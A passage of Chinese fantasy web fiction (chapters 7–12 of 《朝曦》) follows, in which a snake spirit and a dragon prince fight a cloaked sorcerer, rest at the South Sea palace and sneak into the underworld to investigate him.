遂即化了蛇身,试探性的靠近内苑长廊,那仙气立时便弱了下来,她试着幻回人形,而后便一路昂首阔进畅行无阻,直至她隐身进去内苑之中。 从前不加多想,是生存艰难无心多想,然而此刻,她心内不禁茫然,灵体?妖身?一切如迷般费解,苑外的两个更是如坠五雾里。 内苑御殿外长灯夜挑,阒无一人,殿中亦是一片静默,昏黄烛火下素纱飘逸,唯见两个气宇不凡的男子盘膝对立而坐,两人屏气凝神,口中默默念着什么。 凡人也懂入定?且不管他,眼下正是入梦之良机,菜菜将要行动时,一道水雾星速而来,不等她看清便闯进那帝王梦境,长驱直入,气逾霄汉,眼观着这强悍的业务能力,菜菜心底崇拜油然而生。 事实同她想的有些不一样,柯拜厄心绪不宁神思杂乱,他的梦中一片浑浊,只在里面拨云去雾便费了好大一番功夫,待她真正要化身某某仙人去托梦时,柯拜厄突然醒了,她被强行甩了出去。 摔滚了两圈,正想咒骂,却见那帝王龙颜不悦,甚至于有些恼怒,柯拜厄便上前嘘长问短,转眼间又见一道水雾自他眉间出来,一个踉跄险些摔倒。 原来是晌午遇到的那个神仙才俊,看到是他,菜菜更没忍住,扑哧一声笑了出来,才俊是个有脾气的,哪容一个妖精嘲笑于他?回眼一瞪,一记眼刀立时叫她不敢再笑。 “神仙也来托梦?看来很不顺利啊,哈哈。” “晌午放你一马竟还不走,看来我的话你全然没听进心去。” “你知道你为什么失败吗?” 这小神仙疾言厉色,菜菜心中忌惮,可是眼看就要成了,放弃了实在可惜。 “我身为神仙还用你一个妖精来告诉?”见那两人再次凝神入定,才俊整了整衣衫准备再试。 “如若屡次失败,这帝王必定起疑,届时你想再入他梦,只怕不那么容易了。” 六界有序,就连神仙也不得频频干扰凡人,这是铁律,才俊听了听,说的仿佛有些道理。 “你没听过襄王有梦,神女无情?自古英雄爱美女,便是神仙托梦,也是女神仙更加得人心些……何况他是人界帝王。” “所以呢?难道要我扮成个女仙不成?”他很是嫌弃。 “……所以完成任务和坚守原则,你觉得哪个重要?”真是个有骨气的神仙,她想。 捻指一算时限近在眼前,何况这小妖说的不无道理,于是只好,嗯,扮了那绮幽仙子的模样,再度进入帝王梦中。 菜菜暗暗高兴终于劝说成功,这样一来自己的任务才能继续进行,将要进入柯拜厄梦前,鼻息攸然沁入一股清凉仙气,想了想大约是这才俊的,只是隐隐觉得熟悉。 晓梦随疏钟,飘然蹑云霞。一仙一妖于晨光熹微时分离开内苑,殿内两人苏醒,柯拜厄伏身叩拜在帝王面前,将梦中所见一一道来,帝王同有梦境,但梦中神女嘱咐天机要事非同小可,所以并不告诉这人,感叹玄妙莫测之余,即御笔 7. 斩龙矢 《朝曦》全本免费阅读 “小神仙,你醒醒……”看着伤势惨重的他,菜菜有些不知所措,她本想输运些内力给他,可仙妖殊途,这么做不仅有违两界规法,还有可能会因内力有异令双方真元紊乱,最终导致走火入魔。 犹豫,忧虑,明知不可为,可她还是决定试一试,毕竟在刚才的生死关头,是他将自己甩到身后,不然此刻自己早已殒命。 才俊的元神不容他人所探,菜菜被这纯正仙气抵触,未能输运内力给他,眼看他即将气衰而亡,心中悲泣伤感,她伏在他身前哭的呜呜涛涛,纵是男子面貌,也不由满面泪水涕泗横流。 “小神仙,你怎么能就这么死了?” “不死,如何对得起我苦心炼就的斩龙矢?” 一个声音,同一串细碎诡异的笑声隐隐荡在耳际,此时天边朝霞翻飞东曦既驾,一只黑色斗篷背着光踏着云,出现在二人面前,脚步落地的一瞬,满地残叶惊,旋起围绕在他身前,前行走来的一刹,古树枝桠颤栗,似被其戾气所慑,他以罩缚面,叫人看不见半点。 “应龙之子,不过如此。” 可以勘透那人来自心内的愉悦,兴奋,得意,只是这应龙之子……她起身,拭了拭他面上的土屑,望着那甚不和善的眉眼,呆呆看了好一会儿,确然是他,不过才一千多年,怎会瘦的判若两人呢? “南溟小儿,休怪我下手狠辣,怨只怨你父心肠歹毒,屡次戕害……” 言止于此,他没有再说,仿佛是怕这山坳间的第三双耳朵听了去,左手凝出一团绿色火焰,看着它幽幽烨烨的样子,大为畅快的朝天一笑,随即催动掌力将这绿焰朝向古树下的两人投来,菜菜抬头迎上那团已经分化成无数鬼魂的细碎火焰,或张牙舞爪,或枭蛇鬼怪,一副副吞噬湮灭相铺天盖地而来,她迅速幻出短刀,猎杀着眼前的一切。 一个又一个,刀影厮杀如风,幽魂却由此裂变,一个成两个,两个成数个,越杀越多越无尽,她垂眉看着自己满是伤口,已经疲软颤抖的手,心底一片绝望…… 没想到,再见即是永别,她回头看着他安静的脸庞笑了笑,声音低的只能为自己听见:“咱们可真是缘份深重啊,时隔千年,竟也能死到一起。” 昏昏沉沉,不知怎么忽然倦意浓郁,半阖的眼中被绿色填满,忽然一道蓝色屏障将她牢牢围住,将那些如赖皮狗一样粘着人不放的幽魂隔绝在外,恍惚中,她闻到了那熟悉的龙气,看到南溟已经挡在自己前面,一如千年之前,幻出那条银色长鞭,连番挥舞抽动,不知道为什么,这些被长鞭触及的幽魂没有继续裂变,而是立刻湮灭了。 黑蓬人背持的双手忽然垂下,双拳紧握,显然是惊讶于南溟的复活,并且还能击退他的术。“你竟还活着?” “死了你多得意?”南溟漠然一笑,毫不将他放在眼里。 “受了斩龙矢,竟还能抵御住我的炽幽鬼火,是我小瞧了你。” 菜菜在旁惊恐,这难道就是昔日魔君蚩尤所用的,炽幽鬼火?南溟这年纪,根本不可能是他的对手。 “不是你低估我,而是你高估了自己,高估了你的自大。” “什么?” “自大者,自然要先令其膨胀,才可让你的计划露出马脚。” “这么说来,你是在诓我出来,诓我亮出底牌,说出那些……” “不然你以为呢?” “父子一脉,应龙奸狡,身为其子,你又岂会是良善之辈?是我大意疏忽了。”黑蓬不忿。 “我父亲除魔斩妖,仇家宿敌多不可数,这些年每每有人来寻仇,均要将我父亲骂上一通,说他如何大奸大恶,如何罪不可恕……但据我所知,死于他刀下的尽是祸乱世间的妖魔,他手下不曾有一桩冤假错案,更不曾枉杀过一条性命。” “果真?”黑蓬忽然仰天大笑,良久道:不过你也别太自信了!” 黑蓬腾身而起,悬于半空之上,双手蓦地燃起两团炽幽鬼火,嘴里续续念出一些异族的咒,随着咒语加持,鬼火中有魂魄哀鸣嘶喊,天地间霎时狂风大作,黑云蔽日黯淡无光,顷刻后万鬼千魂齐出冥府,杀向两人。 屏障内龙气盈盛,修复伤势再好不过,经过调息,菜菜体力恢复些许,见这阵势不由惊恐万状,迟钝片刻方想起大呼:“一人始终力微,快撤去屏障,我来助你!” 南溟见势不慌,自然也没理会她。只将长鞭继续幻化,颂持咒语下神器急速生长蜿蜒绵长,通身的银慢慢绽成铁花,三圈飞卷将众魂众鬼紧紧勒住,任铁花变成锋刃割裂削碎。 黑蓬人惊然失色, 8. 南海 《朝曦》全本免费阅读 一直浑浑噩噩的活着,对自己的身世来处一概不知,偶有好奇,也会被一些突发事表冲散。她早已对此没什么探究欲,故而对南溟的质问,她无所谓的翻了翻眼白。 至于自己曾是他养在身边的菜花小蛇这件事,她也不打算告诉他,毕竟时间悠远,他这样性子大条的人,怎么还会记着。 “罢了,先随我一道回南海吧。”他双指一捻,划出一抹晶蓝色水印,召唤术下,两个银衣少年立现眼前,毕恭毕敬的尊了一声殿下,菜菜便知他们是南溟的侍者,侧看两人长发倾斜如墨,肌肤白腻光滑,再将眼光移到南溟身上,那张面也是同样的细皮嫩肉,只是在相貌上远胜一些,看来是南海水土十分的养人……说到水土,羡慕中不由的想起即将败落的乌榆林,心中立刻惊觉任重道远,凡界有话:一鼓作气,再而衰,三而竭,趁势才可……“啊!我没有答应去南海……” 不迭反应,已经身处海界水族之中,南溟虽重伤气弱,但在昏睡前十分有心的给她吞了个御水丸,因为他实在不知道她是个什么,万一就此溺死,便白白费了从那黑蓬手下生还所耗的心力。 “你们家殿下何时醒?”她很烦躁,毕竟自己尚有任务在身。 一号侍者面色冷清,一幅铁面无私刚正不阿与那凡界王大仁如出一辙的寡淡神情,语调生硬且冷冰冰:“殿下嘱咐,他醒来之前,公子暂且留宿宫中。” “宫中?” 二号侍者温和很多,弯起眼睛笑了笑:“此处是南海龙宫圣殿,亦是殿下的家。” “那他何时能醒?” “这个……”二号转头问询一号:“见机师兄,方才乌医怎么说的来着?” “殿下伤势不轻,损耗严重,须得好生休养一番。” “好生休养,是怎么样的休养法?”她很好奇这南海的习俗,习惯。 见机颇为不耐烦,菜菜私以为,这副脾气很得南溟真传。“我还有些事要处理,知命,你来为这位公子答疑解惑吧,顺便……照应好他的一应衣食起居,莫怠慢了。” “是,师兄。”知命替她择了一处离南溟殿府很近的宫阙,又拨了一队鱼虾蟹蚌前来伺候,一应安排妥当后,方想起她尚在等自己回答,于是尴尬的摸了摸头,笑道:“我实在比不得见机师兄冷静沉着,条理清晰。” “通常那样的人都会有一个冷酷的性格作为匹配,凡人都讲难得糊涂,你这样便很好,亲民的很。” “公子过奖了。”知命有些羞涩,从来没有被人这样夸赞过,而且还是这么好看的人。“唔,适才讲休养,我们南海龙宫有个疗养圣地,位处殿下殿府南面的珊瑚林,那里面有不少珊瑚礁床,在上面休憩歇息便能使人精力充沛,若是受伤,也能够在短时间内恢复如初。” “此番你们殿下便去那儿么?” “不,珊瑚礁虽然是奇珍,但殿下自幼与它比邻而居,日日受其灵气护养,所以于他而言早已没什么作用,日常受伤便以圣物净世白莲涤浣熏蒸,如今伤势,更是免不了去上面躺一躺。” 净世白莲?曾听老榆树精讲过,盘古大帝创世时,有株混沌青莲滋生相伴,照亮宇宙,而后帝神身归混沌,青莲的莲台化作了炼化万物的乾坤鼎,莲茎化作了凶煞兵器弑神枪,同时莲心分化成五枚莲子,莲子又各化成莲,分别降于各处仙山灵河,从此被奉为圣物。 “听说净世白莲好像降于弱水河畔……不知怎么会到了你们南海?” “这个……自然是我们神君厚着脸皮向那弱水河神讨要的。” “那可是混沌所生帝神遗留之物,岂是说要就给的?那弱水河神真真是个大方的神仙。” “倒也不是。”知命摆了摆手,他热爱讲故事,每每与人谈说总能讲的绘声绘色,眼前这个隽秀少年非南海一族,自不该说给他听,可知命觉得与他十分投缘,又是殿下带回宫中的贵客,便悄声告诉:“其实是我们殿下自幼顽皮,日日惹祸,常常受伤,神君忧虑的很,听说弱水神手上那朵白莲最为养伤护体,便折了面子前去讨要。哦,准确的说,是拿了咱们南海的澄水鉴与那弱水神置换的。” “澄水鉴是什么?” “可使江海湖泊河水质清澈明净。南海海眼水泽旺盛,不必澄水鉴便可自清,而弱水河则为妖魔浊气困扰多年,河水日益浑浊水位骤降,已遭天帝不满最是需要,况澄水鉴又有两枚,就算赠他一枚也没什么影响,关键是,弱水神君没有一个常常惹事受伤的儿子,所以那白莲于他毫无用处。” “原来如此……”菜菜恍然大悟,想这南溟自幼为各路圣物养护,怪不得受了那光矢余威所伤后,还能复苏应战,同时又思绪敏捷的想到,若是能借澄水鉴在乌榆林的小河里浣一浣,效果必定好极了,她很雀跃,但很快便又跌宕下来,南溟这条小气的龙断然是不肯的。“那要躺多久?” “七七四十九日。” “什么?四十九日?” 听闻后不由重重叹了口气,若是等过了这四十九日,挽救林子最佳时间便也过了。一面担心庚酉和宝芝等不到自己会不会回去,一面又想着如何脱身。 知命另有安排,便没有时时陪在这里,龙宫规矩森严,毫无意趣,第一日菜菜便感到了无聊,于是便拉着小虾小蟹们一起吃饭,赏花,棋牌,欢声笑语频频自南溟府殿传出,起初她不觉不妥,可陪着陪着便有流言蜚语拔地而起,诸如:小殿下的这位贵客如何风流倜傥,引得一众侍女倾慕不已日夜追随,菜菜被谣言砸醒,心想事态再发展下去,定然要演变成人间烟花的戏码,自己糊里糊涂的成了瓢客,到时就是一桩说不清的风流公案…… 于是在一个夜深人静的夜晚,她悄悄的钻进了盛着净世白莲的殿府,准备对着熟睡的南溟告别一番,继而离开。 谁知一派通明的殿府,那朵盛綻的白莲犹如千百颗夜明珠熠熠闪烁,本该在白莲里熟睡休养的那个,却正精神抖擞的听人说教。 听者一袭白衣,略显羸弱,整个人纹丝不动,很是乖觉,而说者则是一个背影曼妙无比,身姿婀娜可人的少女,她穿藻色衣裙,手里攥着个什么,双眼含波不时垂头看向手里,羞涩的难以启齿的样子,想来不是什么说教,而是在诉衷情。 “殿下离开南海修行的这些年里,凝歌日夜忧心,生怕殿下受伤……”她的声音细柔,举止文雅有礼:“要说还是在咱们宫中,有这白莲护着,到底没有后顾之忧,只是还望殿下爱惜自己,否则凝歌日日悬心不已。” 南溟漠然不动任凭她说,观其狀,想来不知是去哪里神游了。 “不知当年去雾仪山修行前殿下说的话,可还算数?”叫凝歌的女子面上晕出一片娇红,羞涩溢于言表,话音未落,整颗脑袋极不自然的耷拉下来,看的暗处的菜菜莫名其妙。 南溟点了点头,凝歌莫不欣喜,但片刻之后他忽然回过神过来:“本殿下说话一向算数,只是我一时记不起来,与你说过的是哪句?” 脸上的欣喜嘎然止住,她结结巴巴的替他回忆:“那,那日临行前,殿下曾说等你学成归来便,便想同我成为一家人……”说着便将手中之物,摊与他看。 南溟看着她手中那枚紫玉戒指,瞳仁一张,微微好奇:“怎会在你手上?” “见机知命抬您进来时,从袖兜里脱落,正巧被我捡了。” 远远窥见那枚紫玉戒,菜菜疑惑怎么会落在这里,而后辗转一想,这小龙日日在雾仪山近水楼台,不是想刮多少就有多少?原来……这竟是量产之物,专门拿来哄人开心的,想着便不由得将他鄙视一遍。 南溟取过戒指,十分自然的装进怀里,又道:“这戒指确是我的,不过不是送给你的,多谢你拾金不昧。” “……” “呃,我想起来了,当日我去前是说了那样的话,看来我大哥还是没有同父君提及,唉……你与我大哥自幼情投意合,两小无猜,咱们一同长大我绝对不会坐视不理,待我痊愈,定然在父君母妃面前力劝,退了大哥与那西海公主的婚事,势必促成你们这桩良缘,届时,我们便能真正成为一家人。” “殿下说的一家人,竟是指这个?”凝歌一脸的错愕,不可置信,那双春水般的大眼睛愤然滚出两行泪来。 “当然,若真成了,我需得正正经经唤你一声嫂嫂,不过你 9. 南溟 《朝曦》全本免费阅读 “请问,我可以走……” 话未讲完,见机忽然从一圈水旋里现身,看着菜菜在这,那张白面书生脸更加冰冷,只用淡淡余光睨了一眼,便上前向南溟回话。 “殿下的信函已然送呈到师尊手中,他老人家回说……”也是没有说完,便又瞥她一眼,只是眼神由嫌弃换作忌惮。 “无妨,说吧。”南溟不以为意,但菜菜真是一头雾水,不知是哪里,何时,什么缘故得罪了这位。 “师尊说凡界的任务完成妥当,那帝王已然秘集各路人间术士,遍寻国之寸土,扼制魔气滋生。” 原来向那帝王托梦是这事由,不过六界安逸祥和,毫无战争之相,至于魔气,不知是否和丹妩说的魔源为同一个。 “还说殿下的术业已经修习的差不多,可以安心养些时候,但还是要将查找魔源一事放在心上。” “天界得信,蛇族近日异动频繁,又不时前往冥界,追溯起这两族的过往首脑可都些穷凶极恶之徒,若叫他们勾结成事,又将是天地间大祸。” 南溟想到黑蓬所用的斩龙矢和炽幽鬼火,那可都是远古妖术,天界史册载言,上次出现是在神魔之战,其威力如投鞭断流无坚不摧,然而多数见过的神仙都已殒身仙去,所以并不能细化这些妖魔之术的细枝末节。 此番若不是这洛神鞭,和这条来历不明的小蛇,只怕自己耗尽性命也难以敌他,更遑论杀了此妖,只是六界太平许久,这人到底是哪里冒出来的,回忆他当时所说,似乎还与父君有着仇怨,难道是魔妖二族的旧部余孽?但看他半鬼半蛇的面容……思来想去,还要从蛇族同冥界入手。 “父君此刻在哪?” “神君与其他三海神君去了天界。” “去天界做什么?” 见机恭敬道:“殿下杀退妖孽一事已经传遍六界,天界对此很是满意,多番褒奖于神君,此番聚集是因为魔源一事有了新的说法。” “新的说法?又有什么新迹么?” “尚不清楚。” 南溟点头应着:“唔……待会我将那日的黑蓬人的像绘制下来,你送去天界,问问父君可有印象。” “是。” 见机处事干脆转眼不见,而南溟以手支颐,于白莲上沉思半晌,也不知在想些什么,菜菜心说该问的都问了,这回该准许自己走了?于是便准备再次请辞,哪知道还不等张嘴,南溟又快她一步:“你会不会作画?” “不算精通,要看画什么。” “就是那黑蓬的面貌。”南溟起身:“你不会画也无妨,只坐在一旁同我校对便可,一个人的印象总有偏差,两个人便好多了,此事非同小可,务求画像真实。” “……” 兔起凫举,不等她点头答应,他便扬袖起身转到书案前,熟稔的幻出一套作画的笔墨纸砚来,菜菜呆站在原处,看这稳健的步伐,沉厚的仙气,完全看不出几日前负伤严重,这,这分明是痊愈了?她看了看白莲,心中忍不住感叹,果然是圣物啊。 “去泡一杯茶来。” “茶?”她呆呆的端过一只白瓷茶碗递给了他。 南溟看着这白水,无奈的皱了皱眉,只手退还道:“竹叶青。” 心中念他挑剔,身体却很听话的换了碗竹叶青来,他的习惯没有分毫改变,在雾仪山时,他常饮的便是竹叶青。 “站着做什么?还不快过来。” 过来就过来。她卷了卷衣袖开始研墨,被人差使原是件不太畅快的事,但侧眼细细端倪这张孤傲面庞,轮廓恰好,似由娲皇精雕细琢,那剑眉星目,分如远山绵延,朔月凌光,穿过高耸巍峨的鼻峰,遥射着九天寒星,碎撒漫天,将他周身映衬的光风霁月,仙气溶溶。 昔年的圆胖小童变作如今的疏阔男儿,连列在殿前的两束夜明珠宫灯都不及其光彩瞩目,她很怀疑,世上有诸多奇术,他是不是换了个头?可庚酉说过,换头换面这等事,甚难操作,除非死了重来。 “缘何这样看我?” 菜菜出神许久,心想如此颜色,怪不得连自家嫂嫂都垂涎于他。 “没,没什么。”她惊觉自己失态,慌忙抬袖拭过嘴角,继续研墨。 “你这小蛇,研个墨也如此三心二意。” 话尚在耳边转悠,那厢已有一只雪白的锦帕拭上脸来。 “做甚?” 南溟极不耐烦,干脆掰过她的脸,三下两下擦过,那团雪白便成了青黑色,团了团扔在一边。 “啊哈哈,殿下真是,真是细心……” “话说你们蛇族都是这般神经大条么?”他一面着手作画,却又毫不分神的说出一两句话来,只叫人以为他的全部精力仍在那张画纸上。 “这话怎么说?” “我曾经养过一条凡俗小蛇做宠物,它虽不能人语,但我看的出来,它是条同你一样行为古怪的蛇。” 行为古怪?他竟然记得。菜菜蓦然顿住,联想到那些不堪回首的过往,便忍不住冷冷一哼。“敢问殿下,那小蛇是如何行为古怪?” “你说一条蛇是如何漂渡到雾仪山的,那神山便是神仙也难寻,莫说它一介凡胎。“还有,我养它虽不久,但也是费尽心思,什么好的妙的都想着它,可我从未见它开怀过。” 开怀?天可怜见,没死在您手上,已经是我的造化了…… “然后呢?” “然后?”他笔锋流畅,很快已将黑蓬的轮廓衣着尽数画出。“它也是命苦,我本想带它修成灵类,但终归徒劳一场,不说也罢。” “我有一事不明,六界对蛇族成见极深,上至天界,下至灵界,无不嫌弃厌恶,就连见机也是如此,为何殿下的态度与他们截然不同呢?” 南溟定定看着书案,对着画像空缺的脸百般琢磨,一会儿抬笔欲落,一会儿又凝神思索,思定之后,也仅将那半张鬼面绘于纸上。“另半张,你可还记得鳞片大小,颜色几分?” 菜菜将脑袋抻了过去,不住点头赞赏:“殿下的画功实在了得,与那黑袍子的大蛇如出一辙。” “可缺失另一半,又怎能叫画像。”他搁下笔,起身要去偏殿书阁:“我去查查古籍,看看是否有所记载。” 菜菜对白莲觊觎许久,趁他一走便跑到上面坐了坐,那莲座温凉适宜,自內而外流漾出阵阵浓郁仙雾,然而坐坐总是不够,便壮了胆子上去滚了滚,确然啊,一滚神清气爽,二滚精力充盈,三滚经脉流畅,若在这上面睡上一日,想来必能道行精进,她正做着个白日飞升的梦,警觉有人进来便火速回到桌案前,拿起南溟的画笔,不假思索的绘制起来。 “你是南溟新寻的书童?” 听闻是个女声,菜菜缓缓抬头,只见一个风姿比“嫂嫂”更加绰约的华贵女子站在她身旁,那女子蛾眉凤目鼻俏唇红,从头到脚散发着荧荧流光,端正的发髻冠着流苏翩翩的水晶冠,天蚕丝织就的长裙服帖顺滑,宛如银河水一湍而泄,将本就丰润的身姿衬托的更加媚态横生,正是横看成岭侧成峰,叫人只看一眼便挪不开眼睛。 原以为丹妩已是天底下最最娆媚女子,不成想还有这等……尤物。菜菜呆望着她,不觉间鼻息有股温热溢出,那女子甜甜一笑,摘出绢子替她抹去。 “你这小孩,身量尚且不足,便学着那些风流鬼流鼻血?” “我……” “你还没答我,可是南溟的书童?” 她点了点头,又摇了摇头。 “生的这般俊俏,还会画画,甚合我心。”女子偎近,纤长的手指轻柔的抚在画纸上,一股莫名香气自她耳畔发间飘来,痴醉迷人:“我那里比南溟这处有意思的多,你若愿意去我那儿,我便去向他讨你,他一向听我的话,我若开口,他定然无有不从。” “啊?”这又是哪一出?怕不又是哪个钟情于他的? “想来你是将自己那团子乱麻般的姻缘理顺了?不 10. 风流鬼 《朝曦》全本免费阅读 自己做错了什么?她很不解,一连困惑了多日,直到也有些凡界经历的知命告诉她,不举是一种隐疾,它关乎一个男子的脸面,你可以说一个男子相貌丑,平庸,但切切不可说他,不举。 还是不能理解。 南溟看着那张完整的黑蓬画像若有所思,那半张脸上黑灰色的鳞片残缺不全,眼眶中一片空洞,没有眼珠……所绘虽恐怖,但的确与那怪物无二,他在分辨自己到底是在惊讶她超凡的记忆力,还是这惟妙惟肖的画技? “殿下,画像已经送到君上手中。”见机前来回复。 “父君可有看过?” “看了,说是并没有什么印象。不过君上另有吩咐,称天界视魔源一事为重中之重,为防妖魔出世,祸乱苍生,四海神君各被委派重任,而星象首要指出的便是靠近东海边的乌榆林,其次便是九黎、冥界、蛇族,东海虽占据地利,咱们却不能没有作为,所以神君吩咐,宫中事务还是由大殿下代理,魔源一事则交给小殿下您,务必先人一步树功立业,确保南海在天界的地位。” 南溟似乎早已知道,所以神色并无所畏,只是轻轻点头应下。 “那属下这便去准备?” 以往出行从来都是见机知命二人跟随,不过这次……“呃,仙气太盛容易被人察觉,此番你们就不必随行了。” “那您……” “就那条小蛇吧,他身上凡俗习气浓重,当一个探子再适合不过。” 见机有些失落,可南溟已经做了安排也不好再多说,便准备去通知菜菜。 南溟想了想决定即刻启程最好,所以不等见机去通知,自己便瞬移到了菜菜所住的小殿,当然,也是这条小蛇平日里趣味低俗的可以,他很好奇他的本性又该是个什么模样,然则…… 甫一进来,便听见一声高亢兴奋的声音充耳而来:“东风!” 他走近过去,正见连他四个兴致勃勃的围在一块方形的桌案前,各人身前一排块状小物,嵌着不同的图案花样……不是人间的马吊,又是哪个? “殿,殿下……”看见南溟那张暗沉沉的脸,陪玩的小鱼小虾们纵是再入迷,也得惶惶起身。 “你倒是十八般花样,样样精通?我道你如何这般安静,原来是在我这殿里玩起了凡界赌坊里的那套……还有什么是你不会的么?” 菜菜悻悻起身,将花牌默默推倒,尴尬笑道:“打发无聊,打发无聊而已,却也不是什么都会……” “你再待上些时候,恐怕这里的人皆要吃喝嫖赌抽五毒俱全了……” 南溟咬牙冷笑,碎碎嘀咕着,却不由她分说,长袖一挥阔别了这南海龙宫。 一遭飞天遁地,比庚酉行飞速度快的不是一星半点,盘在他口袋里的菜菜晕头转向,不知南北,待他驻足停下却不是乌榆林外,而是从一处不知名的山隘飞进了一座阴森幽暗的城府前。 南溟掏出口袋里的雪青小蛇,见它蔫蔫模样得意一笑:“成日里不勤勉修行,只知厮混,略略飞得快些便晕成这样。” 一个趔趄幻了人身,摇摇晃晃一会儿方勉强定住,左右寻摸也只有一个南溟可做扶手,使她不至于摔倒。“这是哪?” 南溟抻手指了指,透过重重叠叠的暗影,远处可见一片漆黑的林子隐隐绰绰,黑雾弥漫间鬼影幢幢,瘴气刺鼻,一梯危耸长堤通达两扇黑铜巍峨大门,从旁立着两队黑甲白面兵卫不苟言笑,看来半只蚊子也飞不进去。 “这里是幽都山,亦是幽冥司府的北门。” “冥,冥界?”她这才反应过来。 “不错。” 凡界处理结束,本也打算往冥界来的,只是一切还未筹划好,毕竟没有一些相熟的伙伴做个路引指挥,牵线搭桥,行起事来是十分不便的。尤其听闻冥界的这些鬼蜮罗刹动辄便张口吃人十分凶残。 前夜睡时还慎重想过这件事,要说乌榆林里丹妩弥斐和老榆树也有些人脉,浑水摸鱼一番或许能歪打正着,然而现实总是残酷,那微渺的希望很快被知命打碎,说这幽冥司里深有九幽,权势复杂,层层有五侯七贵不说,只那一步一个盘口衙司,便是天上的仙官来此,也少不得碰一碰壁,更遑论他们。 正发愁怎么办,要说这老天真是开眼,这不是现成的果子往自己嘴里送么?以南溟这身份地位,冥府的这班鬼畜岂能驳他面子,她瞅了瞅一旁,心说若是自己央求于他,或多或少看在自己杀了黑蓬的份上,也会答应吧? “那个……殿下……”她清了清嗓子:“我觉得您今日这身装扮格外清爽,伤愈后整个人都显得容光焕发。” 一番诚心的赞美完全被他忽略,看了那门良久,问道:“你鬼主意多,想想有什么办法潜进去?最好不要被他们发现我神仙的身份。” “啊?您要微服私访?”听这话不觉有些失望,想自己的盘算还没开始便要吞回去。 “还能有什么办法,装神弄鬼呗?”察觉出某人眼神不对,便立即更正道:“乔装,乔装打扮。” 11. 企图 《朝曦》全本免费阅读 门里门外纯然两个世界,以为外面密林荆丛,森然可怖,不想里面才是令人毛骨悚然,穿过一道又一道的门角索道,乍一进去便感热流扑身盖面而来,又见那壁垒如熔岩般焦金烁石,石坑里硫酸火汤滚滚沸腾,不时冒出具具人骨兽骸,温度之高足已燎伤皮肉,尤其水系生灵难以忍受,四目环视下,东首棱床刺椅,西陲剜刀割具,更有无数夜叉恶鬼锯齿獠牙,铁钩利爪,或将他们一刀断做两截,或刀叉剑戟穿肠破肚,剩余的则赶着魂魂鬼鬼奔赴受刑,来往穿梭于汤池砧板间。 哀嚎惨叫不绝于耳,南溟研习古籍已久,早有印象,而菜菜哪里见过这等六界惨象,整个人吓得直哆嗦,躲在南溟身后一眼不敢多看。 “看你平日行事荒唐,没想到关键时刻还这样怂。” “我…我哪里荒唐了?” “你前几日问我,为何不同别人一样对蛇存有成见。” 极力克制着,却还是按捺不住那双瑟瑟发抖的手,紧紧扯着他的衣角,不懂他为什么在这种时候解说那无关紧要的问题? 二人经过一处窄道,窄的只能容下一只脚步,故而只能单脚前行,南溟行于上面四平八稳,紧紧跟着的菜菜却连呼吸都不敢,毕竟下面可是岩浆汤池,她不想有命来,没命回去。 “凡事凡物不可一概而论,都说龙族尊贵,却也有那德行有亏者,而历数过往,神仙之中并不乏坠入魔道的,将妖灵精怪皆定为恶辈,也不尽然,就说你这胆小模样,顶多惹些是非,成事?还是算了。” 看不起蛇?哼,遥想蛇族数万年前也曾有过化龙之辈,只不过因为时间久远,大家都忘了。菜菜虽然不忿,但是想到有求于他,便只能将这份不服掐灭了。 “原以为殿下只是空有一副神颜,没想到竟是一条正直开通,豁达明理的龙。” “今日你这是第二次奉承于我了,虽然我知道你并非出自真心,但看在你所说的还算中听的份上,说说你的企图吧。” 中听?竟然不是射杀黑蓬有功?好吧。 “我生来孤苦无依,乌榆林是我唯一的家……”卖惨,煽情,从来都是一个故事完美的开始,两片朱唇张合有度,烧杀抢掠、痛失家人、家园被毁,等一幕幕感人情节轮番上演,情节起伏跌宕,言辞声情并茂,说的是闻者伤心见者流泪…… 然而这套路数,唬一唬那天真孩童尚可,对于从不听这些凡间故事的南溟,实属白费唇舌。 “这样吧,你想办法查出黑蓬的身份目的,我便动用海族之势,施压冥界,助你重塑家园。前提是,查黑蓬一事需隐秘进行,不可被人察觉。” “为什么要悄悄进行?”雾水是一头接一头,这个问题尚没清楚,另一个又冒出头来:“咦?我并未说明我的目的,你又是怎么猜出的?” “……” “好吧,看在你略有诚意的份上,我同意了。” 其实查黑蓬一事有多种方法,甚至于不必他亲自出马,只是南溟觉得,此事关乎父亲与南海声誉,又与魔源脱不了干系,交给旁人办总是不够妥善,索性便亲自着手,而选择这条小蛇,不过是一同经历了此事。他起初以为他深藏不露动机不纯,而时至眼前,他平生第一次感觉自己,可能判断失误。 “凡六界生命,元灵魂魄只要来到过这世上,便会有其痕迹,想寻他根源辩其身份,便要从他的隶属之地着手,当然,在此之前最好能将此人的种属查验清楚,以免缘木求鱼,白费功夫。” “是不是同凡界的查户籍一个道理?” “不错。”南溟那清高的眼角里终于罕见的流露出一丝赞赏。 “那殿下以为,这黑蓬怪是隶属于冥界的鬼怪?”菜菜心底琢磨,分明还有半张脸是蛇类,为什么就此断定他为冥界鬼怪?“若冥界查它不出,难道咱们还要去蛇族去查?” “自然。” “什么?”曜黑的瞳仁几乎要越出眼眶,她大约是觉得,这笔交易略略有些不太划算,所以…… “你若不愿,我现在便送你出去。” “没有没有。”她眨了眨眼睛,再次将不甘不快吞食回去,识时务者为俊杰,何况自己这条地头蛇的确需要这条强龙的帮助。“我的意思是,殿下既英明又聪明,一定不会判断有误的。” “咳……” 急急走出这间炼狱,顺着断垣石阶来到另外一层,温度骤降如常,但有一条宽绵无尽的黑水河夹杂着阵阵恶臭纵横于此,河边生有野花野草,俱是□□其中丑陋无比,而周遭时有铁鹰恶兽出来游荡,鬼差巡逻……景象虽说没有好去哪里, 12. 一概不详 《朝曦》全本免费阅读 六界上下,神仙、凡人、妖魔鬼怪、精灵牲畜,除了神仙殒身归于虚无,其余众生皆由冥府统管,或得道往生,或轮回转世,或坠入沉沦,一干因果记入簿册,细微末节无有遗漏。 而天下生灵多如牛毛,为便于日后查找,冥府便将簿册归类划分细致,令专人专项专管。生灵案册本是冥府机密不可泄露,但人性是薄弱的,鬼性当然也没什么不同,迫于铁拳之威,鬼差不得不为她指明,妖魔鬼怪一类簿册,掌管于本层深极尽头,册官竺枫手中。 竺枫其人,生性孤僻冷漠,为人古怪难缠,不恋权利钱财,不爱香车美女,不畏强权恶势,不惧杀伐屠戮,从他身上,一时找不到人性的弱点,但并不能说没有,菜菜觉得如此种种莫不熟悉,想了想,又是一个冥界王大仁。她很奇怪自己为什么总会遇上这种难啃的硬骨头。 